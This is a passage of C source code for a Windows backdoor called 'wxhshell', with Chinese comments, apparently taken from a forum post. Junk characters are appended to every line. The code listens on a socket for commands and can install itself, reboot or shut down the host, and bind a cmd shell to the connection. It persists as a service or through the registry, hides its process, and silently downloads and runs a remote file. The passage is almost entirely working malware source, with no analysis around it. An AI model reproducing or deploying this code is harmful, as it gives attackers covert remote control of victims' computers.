  else { Ncle8=8  
C4/p5J  
    switch(cmd[0]) { 34Z$a{ w  
  8f{;oO  
  // 帮助 \' ;zD-MX  
  case '?': { GJIM^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0I \l_St@  
    break; O^yD b  
  } }wR&0<HA  
  // 安装 lpHz*NZ0  
  case 'i': { /6a617?9J  
    if(Install()) SYmiDR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 tIno!|  
    else b~<Tgo_/jf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2%zJI"Ic  
    break; 2v9T&xo=  
    } cp g+-Zf%  
  // 卸载 Af{K#R8!  
  case 'r': { !$|h[ct  
    if(Uninstall()) o 9]2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !w-`:d?  
    else YR} P;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @&LtIN#  
    break; %44Z7  
    } biw2 f~V  
  // 显示 wxhshell 所在路径 g_F-PT>($  
  case 'p': { *^b<CZd9  
    char svExeFile[MAX_PATH]; ;fnE"}  
    strcpy(svExeFile,"\n\r"); "=ogO/_Q"  
      strcat(svExeFile,ExeFile); li~#6$  
        send(wsh,svExeFile,strlen(svExeFile),0); vynchZ+g]  
    break; 3D/<R|p  
    } FR9*WI   
  // 重启 U6Ws#e  
  case 'b': { #_}r)q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {u,yX@F4l  
    if(Boot(REBOOT)) Zn9ecN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {&Es3+{A  
    else { mbh;oX+  
    closesocket(wsh); o$,Dh?l  
    ExitThread(0); <fm0B3i?  
    } ]iL>Zxex  
    break; Msea kF  
    } G'qGsKf\  
  // 关机 ;]+p>p-#  
  case 'd': { x9{&rl dC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *)4 `"D  
    if(Boot(SHUTDOWN)) voAen&>!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s@c.nT%BYL  
    else { ,Xt!dT-  
    closesocket(wsh); zBd)E21H  
    ExitThread(0); _onEXrM  
    } >s+TD4OfY  
    break; 1}"PLq(  
    } x%\m/_5w%  
  // 获取shell Kgw_c:/'  
  case 's': { s$ v<p(yl  
    CmdShell(wsh); "P_PqM  
    closesocket(wsh); G)'(%rl  
    ExitThread(0); ;$= GrR  
    break; |w7D&p$  
  } N)H _4L  
  // 退出 ek3,ss3  
  case 'x': { ^w*$qzESy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s.oh6wz  
    CloseIt(wsh); '5BM*4,:O  
    break; Oe^oigcM  
    } PC3-X['[  
  // 离开 A(#4$}!n5  
  case 'q': { *f4BD||  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n :P5m9T  
    closesocket(wsh); jLLZZPBK  
    WSACleanup(); +S3r]D3v/  
    exit(1); {F~:8 6z(g  
    break; f<T"# G$5  
        } #MhieG5  
  } 4$=ATa;x-  
  } bBC!fh!L"  
c6 tB9b  
  // 提示信息 |f.R]+cH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P)$q  
} !e"TWO*X  
  } QTNE.n<?  
aC#8%Spj  
  return; DKGZm<G>  
} ^.f`6 6/  
^%:syg_RM[  
// shell模块句柄 ==z,vxr  
int CmdShell(SOCKET sock) ;:)?@IuSy  
{ JG=U@I]  
STARTUPINFO si; h+rrmC  
ZeroMemory(&si,sizeof(si)); e%O]U:Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j;+!BKWy4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ea7LPHE#  
PROCESS_INFORMATION ProcessInfo; :',Q6j(s  
char cmdline[]="cmd"; 7P2?SW^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +UTs2*H/^  
  return 0; u3>D vl@  
} ?TXe.h|u  
V9"?}cR/W;  
// 自身启动模式 tLzX L *  
int StartFromService(void) TnvX&Y'  
{ MSMgaw?  
typedef struct [sT}hYh+  
{ ETA 1\  
  DWORD ExitStatus; 8eVQnp*  
  DWORD PebBaseAddress; ayb fBC  
  DWORD AffinityMask; l$s8O0-'T  
  DWORD BasePriority; F/qx2E$*wo  
  ULONG UniqueProcessId; z'FJx2  
  ULONG InheritedFromUniqueProcessId; =h{j F7  
}   PROCESS_BASIC_INFORMATION; X!w&ib-  
wv eej@zs  
PROCNTQSIP NtQueryInformationProcess; du:%{4  
GGY WvGE+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *A,h ^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uk(|c-_]~c  
 !AGjiP$  
  HANDLE             hProcess; E2D}F@<]  
  PROCESS_BASIC_INFORMATION pbi; h 'F\9t  
ny. YkN2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !VfP#B6.  
  if(NULL == hInst ) return 0; EZ.|6oug\  
Yc*Ex-s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3]X~bQAw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?oc#$fcQ~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t*&O*T+fgy  
jnl3P[uQ  
  if (!NtQueryInformationProcess) return 0; h xCt[G@  
H#LlxD)q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ 4& )  
  if(!hProcess) return 0; U6pG  
d1`us G"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *k]izWsV*  
,/qS1W(  
  CloseHandle(hProcess); ezC2E/#  
: Nf-}"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?1f(@  
if(hProcess==NULL) return 0; NG2@.hP:uU  
j;|rI`67~  
HMODULE hMod; f~LM-7!zf}  
char procName[255]; 1P'R-I  
unsigned long cbNeeded; OC[+t6  
~S],)E1w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +])St3h  
SRixT+E  
  CloseHandle(hProcess); #hOAG_a,  
,MtN_V-  
if(strstr(procName,"services")) return 1; // 以服务启动 {M5[gr%  
W+'|zhn  
  return 0; // 注册表启动 \.R+|`{tf  
} E_aDkNT  
22|a~"Z  
// 主模块 .!\NM&E  
int StartWxhshell(LPSTR lpCmdLine) (oYM}#Q  
{ V=@M!;'<  
  SOCKET wsl; :d7tzYT ^  
BOOL val=TRUE; M] +FTz  
  int port=0; 6n 2LG  
  struct sockaddr_in door; !i|]OnJY  
ZS-O,[  
  if(wscfg.ws_autoins) Install(); O%(E 6 n  
q x1}e  
port=atoi(lpCmdLine); ~t $zypw  
"0lC:Wu]  
if(port<=0) port=wscfg.ws_port; 1w)#BYc=L  
N* C"+2  
  WSADATA data; (>OCLmV$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Puu O2TZ  
=]OG5b_-Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !Ol>![  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9K>$  
  door.sin_family = AF_INET; r&G=}ZMO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k0=$mmmPY  
  door.sin_port = htons(port); \&&jzU2  
pN[G?A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <fJ*{$[p  
closesocket(wsl); $_6DvJ0  
return 1; =)B@`"  
} L y!!+UM\  
8H>: C (h  
  if(listen(wsl,2) == INVALID_SOCKET) { _pX y}D  
closesocket(wsl); Z|FWQ8gZ4m  
return 1; 8TK&i,  
} =]pcC  
  Wxhshell(wsl); Ax=k0%M[&  
  WSACleanup(); `dH[&=S  
;_yp@.,\T  
return 0; l3sL!D1u  
-NG`mfu  
} '$]u?m  
PQmgv&!DP  
// 以NT服务方式启动 ; 7`y##  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m)A~1+M$)L  
{ "Q:m0P xb  
DWORD   status = 0; lbw*T  
  DWORD   specificError = 0xfffffff; n]/7UH}(<&  
(z}q6Lfa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~*|0yPFg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >f [Lb|t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  )"im|9  
  serviceStatus.dwWin32ExitCode     = 0; vwZrvjP2  
  serviceStatus.dwServiceSpecificExitCode = 0; -?A,N,nnX  
  serviceStatus.dwCheckPoint       = 0; < c[+60p"  
  serviceStatus.dwWaitHint       = 0; #6[7q6{ 4  
,&II4;F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !<wM?Q:  
  if (hServiceStatusHandle==0) return; hhTM-D1Ehs  
Mh04O@"  
status = GetLastError(); Rw$>()}H8  
  if (status!=NO_ERROR) $J>J@4  
{ n\Z& sc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F[Dhj,C"  
    serviceStatus.dwCheckPoint       = 0; k!gft'iU  
    serviceStatus.dwWaitHint       = 0; ,[To)x5o  
    serviceStatus.dwWin32ExitCode     = status; a *n^(  
    serviceStatus.dwServiceSpecificExitCode = specificError; N7=L^]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L{K:XiPn  
    return; {2`:7U ~|  
  } 1M|DaAI  
4s?x 8oAy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &;~x{q]3  
  serviceStatus.dwCheckPoint       = 0; jP{LMmV  
  serviceStatus.dwWaitHint       = 0; |OXufV?I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5B [kZ?>  
} a'f0Wv0%"  
@za X\  
// 处理NT服务事件,比如:启动、停止 [p%@ pV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MLV_I4o  
{ l65-8  
switch(fdwControl) TI{W(2O*  
{ FFH9 $>A  
case SERVICE_CONTROL_STOP: `!?SA<a:  
  serviceStatus.dwWin32ExitCode = 0; FcnSO0G%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )q?z "F|  
  serviceStatus.dwCheckPoint   = 0; c;w%R8z  
  serviceStatus.dwWaitHint     = 0; ~ {sRK  
  { %m:T?![XO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T&_!AjH  
  } C wKo'PAJ  
  return; zG_e=   
case SERVICE_CONTROL_PAUSE:  fL9R{=I%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  '&/"_  
  break; (>THN*i  
case SERVICE_CONTROL_CONTINUE: WH F>J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qRMH[F$`  
  break; Jsee8^_~  
case SERVICE_CONTROL_INTERROGATE: ^c1%$@H  
  break; |k~\E|^  
}; \29a@6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =]h5RC  
} 6Sh0%F s  
&j}\ZD  
// 标准应用程序主函数 M6E.!Cs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Oe!*|?mS  
{ #4. S2m4  
$O*rxQ}  
// 获取操作系统版本 %k8} IBL  
OsIsNt=GetOsVer(); a9 =,P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); krkRP%jy  
c?i=6C dD'  
  // 从命令行安装 73?ZB+\)0A  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ q]BCOfJ(  
GWZ0!V  
  // 下载执行文件 41y}n{4n8  
if(wscfg.ws_downexe) { k'uN2m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5_U3Fs  
  WinExec(wscfg.ws_filenam,SW_HIDE); vmI]N  
} _5I" %E;S  
} FcWzi  
if(!OsIsNt) { | fAt[e_E  
// 如果时win9x,隐藏进程并且设置为注册表启动 4e d+'-"m  
HideProc(); %C*oy$.  
StartWxhshell(lpCmdLine); PJu)%al  
} j[ !'l,I  
else kN9pl^2  
  if(StartFromService()) K8y/U(@|D  
  // 以服务方式启动 t.m65  
  StartServiceCtrlDispatcher(DispatchTable); hETTD%  
else MR$Bl"d  
  // 普通方式启动 45l/)=@@B  
  StartWxhshell(lpCmdLine); 4C2JyP3  
3R%'<MV|  
return 0; [m7jZOEu  
}
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只看该作者 1 发表于: 2006-10-10
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